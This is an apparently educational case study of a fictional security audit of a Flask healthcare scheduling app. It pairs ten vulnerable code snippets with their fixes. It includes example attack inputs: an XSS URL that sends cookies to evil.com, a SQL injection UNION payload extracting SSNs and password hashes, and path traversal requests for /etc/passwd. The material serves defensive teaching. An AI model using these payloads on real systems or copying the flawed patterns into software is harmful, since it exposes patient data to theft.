Case Study 1: The Security Audit

AI-Assisted Security Review of a Web Application

Background

Mira Chowdhury is a senior developer at HealthTrack, a startup that builds a patient appointment scheduling platform. The application was built rapidly over six months using AI coding assistants, with a small team of three developers who relied heavily on vibe coding to meet aggressive deadlines.

The application is a Flask-based REST API with a React frontend. It handles sensitive patient data including names, email addresses, phone numbers, appointment histories, and insurance information. HealthTrack is preparing for a SOC 2 audit, and as part of the preparation, Mira has been tasked with conducting a comprehensive security review of the codebase.

Mira decides to use a combination of AI-assisted code review, automated scanning tools, and manual analysis to identify vulnerabilities. Her goal: find and fix every critical and high-severity issue before the audit.

The Application Architecture

The HealthTrack application consists of:

  • Backend: Flask 2.x with SQLAlchemy ORM, PostgreSQL database
  • Authentication: JWT-based authentication
  • Frontend: React with Axios for API calls
  • Deployment: Docker containers on AWS ECS
  • File storage: Patient documents uploaded to local filesystem

The codebase is approximately 15,000 lines of Python and 20,000 lines of JavaScript.

Phase 1: Automated Scanning

Mira begins by running automated security tools against the codebase.

Bandit scan:

bandit -r src/ -f json -o bandit_report.json -ll

Bandit reports 47 issues: 8 high severity, 15 medium, and 24 low. Mira focuses on the high-severity findings.

pip-audit:

pip-audit -r requirements.txt

pip-audit reports 6 dependencies with known vulnerabilities, including a critical issue in an outdated version of Pillow used for processing uploaded images.

Phase 2: AI-Assisted Code Review

Mira copies the core authentication module into her AI assistant with a structured prompt:

Review the following Flask authentication code for security vulnerabilities.
Check for: SQL injection, XSS, hardcoded secrets, weak cryptography,
missing input validation, improper error handling, JWT mishandling, session
security issues, and IDOR vulnerabilities. For each issue, provide the
severity, the vulnerable line(s), the risk, and the corrected code.

The Ten Vulnerabilities

Vulnerability 1: Hardcoded JWT Secret (Critical)

Location: src/config.py, line 12

# VULNERABLE
class Config:
    JWT_SECRET = "healthtrack-jwt-secret-2024"
    DATABASE_URL = "postgresql://htadmin:Tr4ck3r!@db.healthtrack.internal:5432/healthtrack"

Risk: Anyone with access to the repository—current employees, former employees, contractors, or anyone who compromises a developer's machine—has the JWT signing key and database credentials. They can forge authentication tokens for any user and access the database directly.

Fix:

# SECURE
import os

class Config:
    JWT_SECRET = os.environ["JWT_SECRET"]
    DATABASE_URL = os.environ["DATABASE_URL"]

    @classmethod
    def validate(cls):
        """Validate all required environment variables are set."""
        required = ["JWT_SECRET", "DATABASE_URL"]
        missing = [var for var in required if not os.environ.get(var)]
        if missing:
            raise EnvironmentError(
                f"Missing required environment variables: {', '.join(missing)}"
            )

Mira also runs git log --all --full-history -S "healthtrack-jwt-secret" and discovers the secret has been in the repository since the initial commit. She immediately rotates the JWT secret and database password, and uses git filter-repo to scrub the credentials from history.

Vulnerability 2: SQL Injection in Search (Critical)

Location: src/routes/patients.py, line 87

# VULNERABLE
@app.route('/api/patients/search')
@require_auth
def search_patients():
    query = request.args.get('q', '')
    results = db.session.execute(
        f"SELECT * FROM patients WHERE name LIKE '%{query}%' OR email LIKE '%{query}%'"
    )
    return jsonify([dict(row) for row in results])

Risk: An attacker can inject arbitrary SQL through the search parameter. With a payload like %' UNION SELECT id, name, email, ssn, insurance_id, password_hash, '' FROM patients --, they could extract sensitive fields not intended for display.

Fix:

# SECURE
from sqlalchemy import text

@app.route('/api/patients/search')
@require_auth
def search_patients():
    query = request.args.get('q', '')
    if len(query) < 2 or len(query) > 100:
        return jsonify({"error": "Query must be 2-100 characters"}), 400

    search_term = f"%{query}%"
    results = db.session.execute(
        text("SELECT id, name, email FROM patients WHERE name LIKE :q OR email LIKE :q"),
        {"q": search_term}
    )
    return jsonify([dict(row._mapping) for row in results])

The fix uses parameterized queries and also selects only the columns needed for search results, preventing data leakage.

Vulnerability 3: Broken Authentication — Weak JWT Handling (High)

Location: src/auth/jwt_handler.py, lines 15–30

# VULNERABLE
def create_token(user_id, role):
    payload = {
        "user_id": user_id,
        "role": role,
        "exp": datetime.utcnow() + timedelta(days=30)  # 30-day token!
    }
    return jwt.encode(payload, Config.JWT_SECRET, algorithm="HS256")

def verify_token(token):
    try:
        return jwt.decode(token, Config.JWT_SECRET, algorithms=["HS256", "none"])
    except:
        return None

Risk: Three issues here. First, the token expires in 30 days—far too long. Second, the algorithms list includes "none", which allows unsigned tokens. Third, the bare except clause silently swallows all errors, including InvalidSignatureError, making debugging impossible.

Fix:

# SECURE
from datetime import datetime, timedelta, timezone

def create_access_token(user_id: int, role: str) -> str:
    now = datetime.now(timezone.utc)
    payload = {
        "sub": str(user_id),
        "role": role,
        "iat": now,
        "exp": now + timedelta(minutes=15),
        "iss": "healthtrack",
        "type": "access"
    }
    return jwt.encode(payload, Config.JWT_SECRET, algorithm="HS256")

def verify_token(token: str) -> dict:
    try:
        payload = jwt.decode(
            token,
            Config.JWT_SECRET,
            algorithms=["HS256"],
            options={"require": ["sub", "exp", "iat", "iss", "type"]},
            issuer="healthtrack"
        )
        if payload.get("type") != "access":
            raise jwt.InvalidTokenError("Invalid token type")
        return payload
    except jwt.ExpiredSignatureError:
        raise ValueError("Token has expired")
    except jwt.InvalidTokenError as e:
        raise ValueError(f"Invalid token: {e}")

Vulnerability 4: Insecure Direct Object Reference — IDOR (High)

Location: src/routes/appointments.py, line 42

# VULNERABLE
@app.route('/api/appointments/<int:appointment_id>')
@require_auth
def get_appointment(appointment_id):
    appointment = Appointment.query.get(appointment_id)
    if not appointment:
        return jsonify({"error": "Not found"}), 404
    return jsonify(appointment.to_dict())

Risk: Any authenticated user can view any appointment by changing the ID in the URL. A patient could view another patient's appointment details, including medical notes and insurance information.

Fix:

# SECURE
@app.route('/api/appointments/<int:appointment_id>')
@require_auth
def get_appointment(appointment_id):
    appointment = Appointment.query.get(appointment_id)
    if not appointment:
        return jsonify({"error": "Not found"}), 404

    current_user = get_current_user()
    if current_user.role == "patient" and appointment.patient_id != current_user.id:
        return jsonify({"error": "Forbidden"}), 403
    if current_user.role == "doctor" and appointment.doctor_id != current_user.id:
        return jsonify({"error": "Forbidden"}), 403

    return jsonify(appointment.to_dict())

Vulnerability 5: Cross-Site Scripting in Error Pages (High)

Location: src/routes/main.py, line 18

# VULNERABLE
@app.errorhandler(404)
def not_found(e):
    path = request.path
    return f"<h1>Page not found: {path}</h1>", 404

Risk: An attacker crafts a URL like /api/<script>document.location='https://evil.com/steal?c='+document.cookie</script> and sends it to a victim. When the victim clicks the link, the 404 page renders the script, which steals their session cookie.

Fix:

# SECURE
from markupsafe import escape

@app.errorhandler(404)
def not_found(e):
    return jsonify({"error": "Resource not found"}), 404

For API applications, error responses should be JSON, not HTML. If HTML is needed, use template rendering with auto-escaping.

Vulnerability 6: Missing Rate Limiting on Authentication (High)

Location: src/routes/auth.py

The login endpoint had no rate limiting whatsoever. An attacker could make unlimited login attempts, enabling brute-force attacks against patient accounts.

Fix:

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(get_remote_address, app=app, storage_uri="redis://localhost:6379")

@app.route('/api/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
    # ... authentication logic
    pass

@app.route('/api/password-reset', methods=['POST'])
@limiter.limit("3 per hour")
def password_reset():
    # ... password reset logic
    pass

Vulnerability 7: Weak Password Hashing (High)

Location: src/models/user.py, line 23

# VULNERABLE
import hashlib

def set_password(self, password):
    self.password_hash = hashlib.sha256(password.encode()).hexdigest()

Risk: SHA-256 is a fast hash function. An attacker with a leaked database can compute billions of hashes per second using GPUs, cracking most passwords in hours.

Fix:

# SECURE
import bcrypt

def set_password(self, password: str) -> None:
    salt = bcrypt.gensalt(rounds=12)
    self.password_hash = bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8')

def check_password(self, password: str) -> bool:
    return bcrypt.checkpw(
        password.encode('utf-8'),
        self.password_hash.encode('utf-8')
    )

Vulnerability 8: Path Traversal in File Downloads (High)

Location: src/routes/documents.py, line 31

# VULNERABLE
@app.route('/api/documents/<filename>')
@require_auth
def download_document(filename):
    return send_from_directory('/app/uploads', filename)

Risk: An attacker requests /api/documents/../../etc/passwd or /api/documents/../../app/config.py to read arbitrary files from the server.

Fix:

# SECURE
import os
from werkzeug.utils import secure_filename

UPLOAD_DIR = '/app/uploads'

@app.route('/api/documents/<filename>')
@require_auth
def download_document(filename):
    safe_name = secure_filename(filename)
    if not safe_name or safe_name != filename:
        return jsonify({"error": "Invalid filename"}), 400

    full_path = os.path.realpath(os.path.join(UPLOAD_DIR, safe_name))
    if not full_path.startswith(os.path.realpath(UPLOAD_DIR)):
        return jsonify({"error": "Access denied"}), 403

    if not os.path.exists(full_path):
        return jsonify({"error": "File not found"}), 404

    return send_from_directory(UPLOAD_DIR, safe_name)

Vulnerability 9: Missing Security Headers (Medium)

Location: The entire application had no security headers configured.

Fix:

@app.after_request
def add_security_headers(response):
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    response.headers['Permissions-Policy'] = 'camera=(), microphone=(), geolocation=()'
    return response

Vulnerability 10: Information Disclosure in Error Handling (Medium)

Location: src/app.py, line 5

# VULNERABLE
app = Flask(__name__)
app.config['DEBUG'] = True  # Left on from development

Additionally, unhandled exceptions returned full Python tracebacks to the client, revealing internal file paths, library versions, and database schema details.

Fix:

# SECURE
app = Flask(__name__)
app.config['DEBUG'] = os.environ.get('FLASK_DEBUG', 'false').lower() == 'true'

@app.errorhandler(500)
def internal_error(e):
    app.logger.error(f"Internal error: {e}", exc_info=True)
    return jsonify({"error": "An internal error occurred"}), 500

@app.errorhandler(Exception)
def handle_exception(e):
    app.logger.error(f"Unhandled exception: {e}", exc_info=True)
    return jsonify({"error": "An unexpected error occurred"}), 500

Phase 3: Remediation and Verification

Mira created a spreadsheet tracking all ten vulnerabilities with their severity, location, fix, assignee, and status. She prioritized remediation:

  1. Immediate (Day 1): Rotate all hardcoded secrets. Remove debug mode. Fix SQL injection.
  2. Urgent (Days 2–3): Fix JWT handling, IDOR, XSS, password hashing, path traversal.
  3. Important (Days 4–5): Add rate limiting, security headers. Fix error handling.

After remediation, Mira re-ran all automated scans and conducted a second AI-assisted review of the fixed code. She also wrote 35 security-focused test cases covering each vulnerability to prevent regression.

Lessons Learned

  1. AI-generated code is not inherently secure. Every vulnerability in this case study originated from AI-generated code that was accepted without security review. The code worked correctly for legitimate inputs—it simply was not hardened against malicious inputs.

  2. Speed and security are not opposites. Writing parameterized queries takes the same time as writing string-interpolated queries. Using bcrypt takes two more lines than SHA-256. The fixes were not complex—they just required awareness.

  3. Automated tools catch known patterns; AI review catches logic flaws. Bandit detected the hardcoded secrets and weak hashing, but it missed the IDOR vulnerability and the JWT algorithm confusion issue. The AI-assisted review caught both. The combination of automated and AI-assisted review was far more effective than either alone.

  4. Security must be continuous. Mira established a CI/CD pipeline that runs Bandit, pip-audit, and secret scanning on every commit. She also scheduled quarterly AI-assisted security reviews.

  5. Rotate first, fix second. When a secret is exposed, rotate it immediately—before rewriting git history, before fixing the code, before anything else. Every minute the secret is active is a minute an attacker could use it.

Discussion Questions

  1. Which of the ten vulnerabilities do you consider most critical for a healthcare application? Why?
  2. How would the remediation priorities change if this were a public blog platform instead of a healthcare application?
  3. What additional security measures would be required for HIPAA compliance beyond what was addressed in this case study?
  4. How could the development team have prevented these vulnerabilities from being introduced in the first place?
  5. Design a security review process that integrates into a two-week sprint cycle without significantly slowing development velocity.